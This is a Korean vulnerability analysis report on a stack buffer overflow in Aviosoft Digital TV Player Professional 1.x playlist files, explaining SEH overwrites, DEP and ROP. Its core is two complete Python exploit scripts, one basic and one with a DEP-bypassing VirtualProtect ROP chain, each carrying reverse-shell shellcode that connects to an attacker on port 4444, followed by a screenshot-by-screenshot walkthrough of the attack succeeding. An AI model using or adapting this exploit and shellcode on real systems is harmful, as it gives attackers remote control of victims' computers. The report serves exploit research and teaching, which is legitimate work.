취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우
목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석... 2 2.1. 공격기법및기본개념... 2 2.2. 시나리오... 3 2.3. 공격코드... 4 3. 공격... 8 4. 결론... 21 5. 대응방안... 21 6. 참고자료... 22
1. 개요 1.1. 취약점분석추진배경 Aviosoft Digital TV Player 프로그램은 DVD 파일을재생할수있는미디어프로그램이다. Aviosoft Digital TV Player 프로그램에서 DEP 가제외된상태로 DVD 플레이리스트파일불러올때파일내용의길이를체크하지않는것을발견하였고이를이용해 Crash 가발생하는것을발견하였다. 1.2. 취약점요약 Aviosoft Digital TV Player 에서플레이리스트파일을로드할경우파일내용의길이를체크하지않아정상버퍼이상문자열이포함되어있는플레이리스트파일을삽입할경우 Aviosoft Digital TV Player 에서 Crash 가발생한다. 이를이용하여 seh 를변조하여공격 sehllcode 를실행한다. 하지만 DEP 가걸려있는상태에서는작동하지않으므로 DEP 를우회하여 sehllcode 가실행되도록한다.. 1.3. 취약점정보 취약점이름 Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow 최초발표일 2011 년 11 월 08 일 문서작성일 2011 년 11 월 9 일 위험등급 높음 벤더 Aviosoft.lnc 취약점영향 목적과다른방향으로프로그램실행 현재상태 패치됨 표 1. Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow 취약점개요 1.4. 취약점대상시스템목록 Aviosoft Digital TV Player 프로그램자체의취약점으로 Aviosoft Digital TV Player 가사용될 수있는모든 Window 가대상이된다. Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows 2003 Microsoft Windows Vista Microsoft Windows 7 Microsoft Windows 2008 1
2. 분석 2.1. 공격기법및기본개념 위프로그램을공격하기위해 Stack Buffer Overflow, seh 변조, ROP 가사용되었다. Buffer Overflow 의방법중 Stack Buffer Overflow 는정상버퍼크기이상의문자열이입력 되었을경우정상버퍼를넘어선다른영역을침범하여 Crash 를발생시킬수있으며 Crash 로인해 exploit 을시도할수있다. Window 에서에러제어를위해사용되는 seh 를악용하여공격자가심어둔 sehllcode 로 이동하여 sehllcode 를실행할수있다. DEP 란 Data 영역에서코드의실행을방지하여임의의코드가실행되는것을방지하는방어 기법이다. Window 에서사용되며 linux 의 NX-bit 와같은것이다. Window 상에서 DEP 설정 값이 4 가지가있으며다음과같다. Optln Window XP 의기본구성값이며하드웨어강화 DEP 기능이있는 OptOut AlwaysOn 프로세서를사용한다면, DEP 는기본적으로사용된다. Window 2003 sp1 의기본구성값이다. DEP 에대한시스템호환성해결은효력을발휘하지않는다. 모든시스템에 DEP 를사용하는설정값이다. 모든과정은언제나 DEP 에 적용된다. DEP 보호에예외프로그램으로지정된목록이있다할지라도 이는무시된다. DEP 에대한시스템호환성도효력을발휘하지않는다. AlwaysOff 어느시스템에서도 DEP 를사용하지않도록하는설정값이다. 본취약점에서 DEP 를우회하기위해사용된시스템함수는 VirtualProtect 로써이함수의 구조체값으로메모리내의 DEP 설정범위와설정값을지정하여메모리영역의 DEP 설정을 변경할수있는함수이다. 시스템함수 Call 과인자값을넣어주기위해 ROP 를사용할 것이다. VirtualProtect 의구조체인자값으로 4 가지가있으며다음과같다. in LPVOID lpaddress 변경할메모리시작주소 in SIZE_T dwsize 변경할메모리 size in DWORD flnewprotect 변경할설정값 out PDWORD lpfloldprotect 변경전상태를저장할변수포인터 2
위변경될설정값으론메모리보호상수가사용되며메모리보호상수는 8 가지가있으며 다음과같다. PAGE_EXECUTE 0x10 PAGE_EXECUTE_READ 0x20 PAGE_EXECUTE_READWRITE 0x40 PAGE_EXECUTE_WRITECOPY 0x80 PAGE_NOACCESS 0x01 PAGE_READONLY 0x02 PAGE_READWRITE 0x04 PAGE_WRITECOPY 0x08 실행권한을준다. 실행, 읽기권한을준다. 실행, 읽기, 쓰기권한을준다. 쓰기를할때사본을만든다. 모든접근권한을비활성화한다. 읽기전용권한을준다. 읽기, 쓰기권한을준다. 읽고쓸수있는오브젝트를생성하되즉시복사를 사용한다 ROP 란 Return Oriented Programming 의약자로취약한프로그램내부에있는기계어 코드섹션들 (Gadget) 을사용하여특정명령을실행시키는방법을말한다. 2.2. 시나리오 1 공격자컴퓨터에서 4444 포트를열고피해자가접근할동안대기한다. 2 피해자컴퓨터의 DEP 에서 Aviosoft Digital TV Player 를제외시킨다. 3 피해자컴퓨터에서 Aviosoft Digital TV Player 구동시킨다. 4 피해자는공격코드가들어있는플레이리스트파일을실행시킨다. 5 공격자컴퓨터로피해자컴퓨터가접근하는지확인한다. 6 접근이된다면 Aviosoft Digital TV Player 를 DEP 목록에추가하여 DEP 의보호를받도록한다. 7 공격코드가들어있는플레이리스트파일을실행시켜 DEP 가작동되는지확인한다. 8 공격코드에 DEP 우회 ROP 를추가하여피해자컴퓨터에서 Aviosoft Digital TV Player 를실행후수정된플레이리스트파일을실행시킨다. 9 공격자컴퓨터로피해자컴퓨터가접근하는지확인한다. 3
2.3. 공격코드 #!/usr/bin/python import struct file = 'adtv_bof(basic).plf' # 생성될파일이름 totalsize = 5000 # exploit 총길이 junk = 'A' * 868 # Nseh 를수정하기전까지의 junk 값 Nseh = '\xeb\x10\x90\x90' # jmp 10 의기계어를 Nseh 로수정한다. seh = struct.pack('<l', 0x616280eb) # pop ecx pop ecx ret nop = '\x90' * 32 # 공격자컴퓨터의 4444 포트로접근하는 reverse sehllcode 이다. sehllcode = ( "\xda\xce\xbb\x83\x02\x99\xf5\xd9\x74\x24\xf4\x5a\x33\xc9" + "\xb1\x49\x83\xea\xfc\x31\x5a\x15\x03\x5a\x15\x61\xf7\x65" + "\x1d\xec\xf8\x95\xde\x8e\x71\x70\xef\x9c\xe6\xf0\x42\x10" + "\x6c\x54\x6f\xdb\x20\x4d\xe4\xa9\xec\x62\x4d\x07\xcb\x4d" + "\x4e\xa6\xd3\x02\x8c\xa9\xaf\x58\xc1\x09\x91\x92\x14\x48" + "\xd6\xcf\xd7\x18\x8f\x84\x4a\x8c\xa4\xd9\x56\xad\x6a\x56" + "\xe6\xd5\x0f\xa9\x93\x6f\x11\xfa\x0c\xe4\x59\xe2\x27\xa2" + "\x79\x13\xeb\xb1\x46\x5a\x80\x01\x3c\x5d\x40\x58\xbd\x6f" + "\xac\x36\x80\x5f\x21\x47\xc4\x58\xda\x32\x3e\x9b\x67\x44" + "\x85\xe1\xb3\xc1\x18\x41\x37\x71\xf9\x73\x94\xe7\x8a\x78" + "\x51\x6c\xd4\x9c\x64\xa1\x6e\x98\xed\x44\xa1\x28\xb5\x62" + "\x65\x70\x6d\x0b\x3c\xdc\xc0\x34\x5e\xb8\xbd\x90\x14\x2b" + "\xa9\xa2\x76\x24\x1e\x98\x88\xb4\x08\xab\xfb\x86\x97\x07" + "\x94\xaa\x50\x81\x63\xcc\x4a\x75\xfb\x33\x75\x85\xd5\xf7" + "\x21\xd5\x4d\xd1\x49\xbe\x8d\xde\x9f\x10\xde\x70\x70\xd0" + "\x8e\x30\x20\xb8\xc4\xbe\x1f\xd8\xe6\x14\x08\x72\x1c\xff" + "\xf7\x2a\x42\x7d\x9f\x28\x7b\x90\x3c\xa5\x9d\xf8\xac\xe3" + "\x36\x95\x55\xae\xcd\x04\x99\x65\xa8\x07\x11\x89\x4c\xc9" + "\xd2\xe4\x5e\xbe\x12\xb3\x3d\x69\x2c\x6e\x2b\x96\xb8\x94" + "\xfa\xc1\x54\x96\xdb\x26\xfb\x69\x0e\x3d\x32\xff\xf1\x2a" + "\x3b\xef\xf1\xaa\x6d\x65\xf2\xc2\xc9\xdd\xa1\xf7\x15\xc8" + "\xd5\xab\x83\xf2\x8f\x18\x03\x9a\x2d\x46\x63\x05\xcd\xad" + "\x75\x7a\x18\x88\xf3\x8a\x2e\xf8\x3f" ) sisa = 'C' * (totalsize - len(seh+nseh+nop+sehllcode)) # seh, Nseh, nop, sehllcode 를제외한 # 나머지총길이를맞춰주기위한 junk 값 payload = junk+nseh+seh+nop+sehllcode+sisa # Nseh 를수정하기위한 jnuk 값을먼저넣어준후 # Nseh 를 jmp 10 으로수정한다 seh 는 ppr 로수정 # Crash 가발생하면 seh 가먼저실행된후 Nseh 의 # jmp 10 이작동되어 nop 위치로이동된다. # nop 이실행된후 sehllcode 가실행된다. f = open(file,'w') print "Author: modpr0be" print "Payload size: ", len(payload) # 파일생성시페이로드의길이를보여준다. f.write(payload) print "File",file, "successfully created" f.close() DEP 를우회를위한 ROP 추가 #!/usr/bin/python import struct file = 'adtv_bof.plf' totalsize = 5000 # 생성될파일이름 # exploit 총길이 4
junk = 'A' * 872 align = 'B' * 136 # seh 를수정하기위한 junk 값 # aslr, dep bypass using pushad technique seh = struct.pack('<l', 0x6130534a) # ADD ESP,800 # RETN # ROP NOP 로 jmp 하기위해 esp + 800 을한다. # 과정으로인해 Nseh 로이동하지않고바로 ROP 로이동 rop = struct.pack('<l', 0x61326003) * 10 # RETN (ROP NOP) # 이 RETN 은 ROP 에서 NOP 과같은역할을하며 # 위 seh 에서이 NOP 으로 jmp 된다. rop+= struct.pack('<l', 0x6405347a) rop+= struct.pack('<l', 0x10011108) # POP EDX # RETN # EDX 에 VirtualProtect 의주소를넣은후 # RENT 한다 # 위 EDX 에사용될 VirtualProtect 주소 rop+= struct.pack('<l', 0x64010503) rop+= struct.pack('<l', 0x41414141) # PUSH EDX # POP EAX # POP ESI # RETN # EDX 의값 (VirtualProtect 주소 ) 를 stack 에넣는다 # stack 에넣은 VirtualProtect 주소를다시 EAX 에 # 넣는다. # ESI 에 41414141 을넣는다 # 위 ESI 에넣어질값 rop+= struct.pack('<l', 0x6160949f) rop+= struct.pack('<l', 0x41414141) * 3. rop+= struct.pack('<l', 0x61604218) rop+= struct.pack('<l', 0x41414141) * 3 # MOV ECX,DWORD PTR DS:[EDX] # 이과정에선 VirtualProtect 주소를 ECX 에넣는데 # 실제 VirtualProtect 주소인 0x7C801AD4 가들어 # 가며처음부터실제주소를쓰지않는이유는 # badchars 중하나인 0x1a 가실제주소에포함되어 # 사용하지못하기때문이다. # 이과정외에 pop pop pop 이 3 개가있으며 # 이 junk 값이들어간다 # PUSH ECX # 실제 VirtualProtect 함수주소를 stack 에넣는다 # ADD AL,5F # VirtualProtect 의주소중최하위의 08 에서 0x5F # 를더한다. # XOR EAX,EAX # EAX 를 XOR 하여 0 으로만든다. # POP ESI # RETN 0C # ESI 에실제 VirtualProtect 의주소를넣는다. # Filler (RETN offset compensation) # stack 정리를위한 NOP rop+= struct.pack('<l', 0x6403d1a6) rop+= struct.pack('<l', 0x41414141) * 3 rop+= struct.pack('<l', 0x60333560) # POP EBP # RETN # 밑의 push esp # ret 0c 를 EBP 에넣는다. # stack 정리를위한 NOP # & push esp # ret 0c rop+= struct.pack('<l', 0x61323EA8) rop+= struct.pack('<l', 0xA13977DF) rop+= struct.pack('<l', 0x640203fc) # POP EAX # RETN # EAX 에 343 를만들기위해 # A13977DF 을 EAX 에넣는다 # ADD EAX,5EC68B64 # RETN # A13977DF + 5EC68B64 = 343 를 EAX 에넣는다. 5
rop+= struct.pack('<l', 0x6163d37b) # PUSH EAX # stack 에 343 를넣는다 # ADD AL,5E # 0x43 + 0x5E = A1 즉,EAX 에 3A1 이들어간다. # POP EBX # RETN # EBX 에 343 을넣는다. # VirtualProtect 함수인자중 dwsize 인자값 rop+= struct.pack('<l', 0x61626807) rop+= struct.pack('<l', 0x640203fc) # XOR EAX,EAX # RETN # EAX 를 0 으로만든다. # ADD EAX,5EC68B64 # RETN # EAX 에 5EC68B64 를넣는다. rop+= struct.pack('<l', 0x6405347a) rop+= struct.pack('<l', 0xA13974DC) rop+= struct.pack('<l', 0x613107fb) rop+= struct.pack('<l', 0x60326803) rop+= struct.pack('<l', 0x60350340) rop+= struct.pack('<l', 0x61329e07) rop+= struct.pack('<l', 0x61326003) # POP EDX # RETN # EDX 에밑의주소값을넣는다. # 위에쓰일주소값 0x00000040-> edx # ADD EDX,EAX # A13974DC + 5EC68B64 = 40 # EDX 에위에더해진 40 을넣는다. # MOV EAX,EDX # RETN # EDX 의 40 을 EAX 로옮긴다. # VirtualProtect 함수인자중 flnewprotect 인자값 # POP ECX # RETN # ECX 에 Writable location 를 # 가리키는주소를넣는다. # Writable location 을가리키는주소 # VirtualProtect 함수인자중 # lpfloldprotect 인자값 # POP EDI # RETN # EDI 에 ROP NOP 의주소를넣는다. # RETN (ROP NOP) 의주소 rop+= struct.pack('<l', 0x60340178) rop+= struct.pack('<l', 0x90909090) # POP EAX # RETN # EAX 에 NOP 을넣는다. # EAX 에넣을 nop rop+= struct.pack('<l', 0x60322e02) # PUSHAD # RETN # PUSHAD 가되면서 stack 에 # VirtualProtect 함수의인자순서대로들어가게되며 # VirtualProtect 가 # IpAddress : 0013F4F8 # dwsize : 343 # flnewprotect : 40 # IpflOldProtect : 60350340 # 이러한인자를가지고실행이된다. nop = '\x90' * 32 # 공격자컴퓨터의 4444 포트로접근하는 reverse sehllcode 이다. sehllcode = ( "\xda\xce\xbb\x83\x02\x99\xf5\xd9\x74\x24\xf4\x5a\x33\xc9" + "\xb1\x49\x83\xea\xfc\x31\x5a\x15\x03\x5a\x15\x61\xf7\x65" + "\x1d\xec\xf8\x95\xde\x8e\x71\x70\xef\x9c\xe6\xf0\x42\x10" + "\x6c\x54\x6f\xdb\x20\x4d\xe4\xa9\xec\x62\x4d\x07\xcb\x4d" + "\x4e\xa6\xd3\x02\x8c\xa9\xaf\x58\xc1\x09\x91\x92\x14\x48" + 6
"\xd6\xcf\xd7\x18\x8f\x84\x4a\x8c\xa4\xd9\x56\xad\x6a\x56" + "\xe6\xd5\x0f\xa9\x93\x6f\x11\xfa\x0c\xe4\x59\xe2\x27\xa2" + "\x79\x13\xeb\xb1\x46\x5a\x80\x01\x3c\x5d\x40\x58\xbd\x6f" + "\xac\x36\x80\x5f\x21\x47\xc4\x58\xda\x32\x3e\x9b\x67\x44" + "\x85\xe1\xb3\xc1\x18\x41\x37\x71\xf9\x73\x94\xe7\x8a\x78" + "\x51\x6c\xd4\x9c\x64\xa1\x6e\x98\xed\x44\xa1\x28\xb5\x62" + "\x65\x70\x6d\x0b\x3c\xdc\xc0\x34\x5e\xb8\xbd\x90\x14\x2b" + "\xa9\xa2\x76\x24\x1e\x98\x88\xb4\x08\xab\xfb\x86\x97\x07" + "\x94\xaa\x50\x81\x63\xcc\x4a\x75\xfb\x33\x75\x85\xd5\xf7" + "\x21\xd5\x4d\xd1\x49\xbe\x8d\xde\x9f\x10\xde\x70\x70\xd0" + "\x8e\x30\x20\xb8\xc4\xbe\x1f\xd8\xe6\x14\x08\x72\x1c\xff" + "\xf7\x2a\x42\x7d\x9f\x28\x7b\x90\x3c\xa5\x9d\xf8\xac\xe3" + "\x36\x95\x55\xae\xcd\x04\x99\x65\xa8\x07\x11\x89\x4c\xc9" + "\xd2\xe4\x5e\xbe\x12\xb3\x3d\x69\x2c\x6e\x2b\x96\xb8\x94" + "\xfa\xc1\x54\x96\xdb\x26\xfb\x69\x0e\x3d\x32\xff\xf1\x2a" + "\x3b\xef\xf1\xaa\x6d\x65\xf2\xc2\xc9\xdd\xa1\xf7\x15\xc8" + "\xd5\xab\x83\xf2\x8f\x18\x03\x9a\x2d\x46\x63\x05\xcd\xad" + "\x75\x7a\x18\x88\xf3\x8a\x2e\xf8\x3f" ) sisa = 'C' * (totalsize - len(seh+rop+nop+sehllcode)) payload = junk+seh+align+rop+nop+sehllcode+sisa f = open(file,'w') print "Author: modpr0be" print "Payload size: ", len(payload) f.write(payload) print "File",file, "successfully created" f.close() # seh, Nseh, nop, sehllcode 를제외한 # 나머지총길이를맞춰주기위한 junk 값 # seh 를수정하기위한 junk 값을넣는다 # seh 가실행되면 +800 이되며 ROP 로 # 이동되야하기에사이에 align 값을넣어 # 채워준다 ROP 로이동후 VirtualProtect # 가실행되고메모리에실행, 읽기, 쓰기 # 권한을얻으며 DEP 가우회된상태로 # nop 으로이동후 sehllcode 가실행된다. 7
3. 공격 이파트은실제공격화면위주이며자세한코드에대한설명은분석파트를보기바란다. [ 그림 1] 공격자컴퓨터에서대기화면 공격자컴퓨터에서피해자컴퓨터에서접근가능하도록 4444 포트를열고대기한다. [ 그림 2] Aviosoft Digital TV Player 를 DEP 에서제외시킨다. Aviosoft Digital TV Player 를 DEP 에서제외시킴으로써보통 BOF 가가능하게만든다. 8
[ 그림 3] 공격코드가담긴플레이리스트실행 seh 에 ppr 주소를넣은공격코드를실행시킨다. [ 그림 4] seh 수정화면 seh 가 pop ecx pop ecx ret 로수정된것을볼수있다. 9
[ 그림 5] Nseh 실행화면 seh 실행후 Nseh 의 jmp 10 이실행되어 0013F3CE 즉, nop 이위치한초록박스 사이로 jmp 하는것을볼수있다. [ 그림 6] nop 으로이동화면 10
[ 그림 7] 공격 sehllcode 시작화면 공격 sehllcode 가시작되는것을볼수있다. [ 그림 8] 공격성공화면 11
[ 그림 9] Aviosoft Digital TV Player 를 DEP 에다시적용 Aviosoft Digital TV Player 를다시 DEP 에적용시키고위공격코드실행에성공한파일을다시실행시켜본다. 아무것도실행되지않고 Aviosoft Digital TV Player 가종료되는것을볼수있다. 이는 DEP 로인해데이터영역의실행권한이없기때문이다. 이를해결하기위해 VirtualProtect 시스템함수를사용하여 DEP 우회를시도한다. [ 그림 10] DEP 우회 ROP 가있는플레이리스트파일실행 DEP 우회를위해 ROP 를추가한플레이리스트파일을실행시킨다. 12
[ 그림 11] seh 수정화면 seh 에 VirtualProtect 시스템함수를사용하기위한 ROP 이동하기위해 ADD ESP, 800 의가젯주소로수정된것을볼수있다. [ 그림 12] ROP 로이동화면 ADD ESP, 800 가젯으로인해 ROP 로이동한것을볼수있다. 13
[ 그림 13] EDX 변조화면 POP EDX 로인해 EDX 에 VirtualProtect 의주소가삽입되었다. [ 그림 14] stack 변조화면 PUSH EDX 로인해 EDX 에있던 VirtualProtect 의주소가 stack 에삽입되었다. 14
[ 그림 15] EAX 변조화면 POP EAX 로인해 stack 에있던 VirtualProtect 의주소가 EAX 에삽입되었다. [ 그림 16] ECX 에 VirtualProtect 실제주소삽입 ECX 에실제 VirtualProtect 의주소가삽입되었다. 15
[ 그림 17] EAX 에 A13977DF 삽입 EAX 에 A13977DF 삽입한다. [ 그림 18] EAX 에 in SIZE_T dwsize 인자값생성 EAX 에 5EC68B64 에더함으로해서 343 가만들어지며이는 VirtualProtect 함수인자 중 dwsize 인자값이된다. 16
[ 그림 19] EAX 에 5EC68B64 를삽입 위과정전에 XOR 을사용하여 EAX 를 0 으로초기화시켜준다. 위과정으로인해 EAX 에 5EC68B64 가삽입된다 [ 그림 20] EDX 에 A13974DC 삽입 EDX 에 A13974DC 를삽입한다. 17
[ 그림 21] EAX 에 in DWORD flnewprotect 인자값생성 EDX 에 5EC68B64 + A13974DC = 40 이들어가며후에 EAX 에다시넣는다. 이값은 VirtualProtect 함수인자중 flnewprotect 인자값이된다. [ 그림 22] ECX 에 out PDWORD lpfloldprotect 인자값생성 ECX 에 VirtualProtect 함수인자중 lpfloldprotect 인자값을넣는다. 18
[ 그림 23] PUSHAD 로인한 VirtualProtect 인자완성화면 위마지막 ESP 가 VirtualProtect 인자중 lpaddress 이되며 PUSHAD 로인해가젯으로생성된인자값이 stack 에 in LPVOID lpaddress in SIZE_T dwsize in DWORD flnewprotect out PDWORD lpfloldprotect 순서대로정상적으로들어간것이확인된다. 이후 sehllcode 가 DEP 가우회된상태로작동된다. 19
[ 그림 24] 공격성공화면 20
4. 결론 본프로그램을플레이리스트파일을불러올때정상버퍼이상의문자열을확인하지않는것을이용하여정상데이터대신정상버퍼이상의공격 sehllcode 가삽입되어있는플레이리스트파일을불러와 sehllcode 가실행된다. 이런 BOF 를막기위해데이터영역의실행권한을설정하는 DEP 를사용하지만 DEP 설정하는함수를사용하여 DEP 를해제하여 Sehllcode 가실행되도록하였다. 5. 대응방안 플레이리스트파일에정상버퍼이상의문자열이들어왔을때의문제이므로플레이리스트파일의문자열길이를체크하는코드를추가하거나길이를체크하는체크섬부분을추가하면될것이다. 21
6. 참고자료 DEP http://cafe.naver.com/cmenia/4196 VirtualProtect 인자값 http://msdn.microsoft.com/en-us/library/aa366898 http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx http://cafe.naver.com/storageofeverything/9 취약점본문 http://www.exploit-db.com/exploits/18096/ 22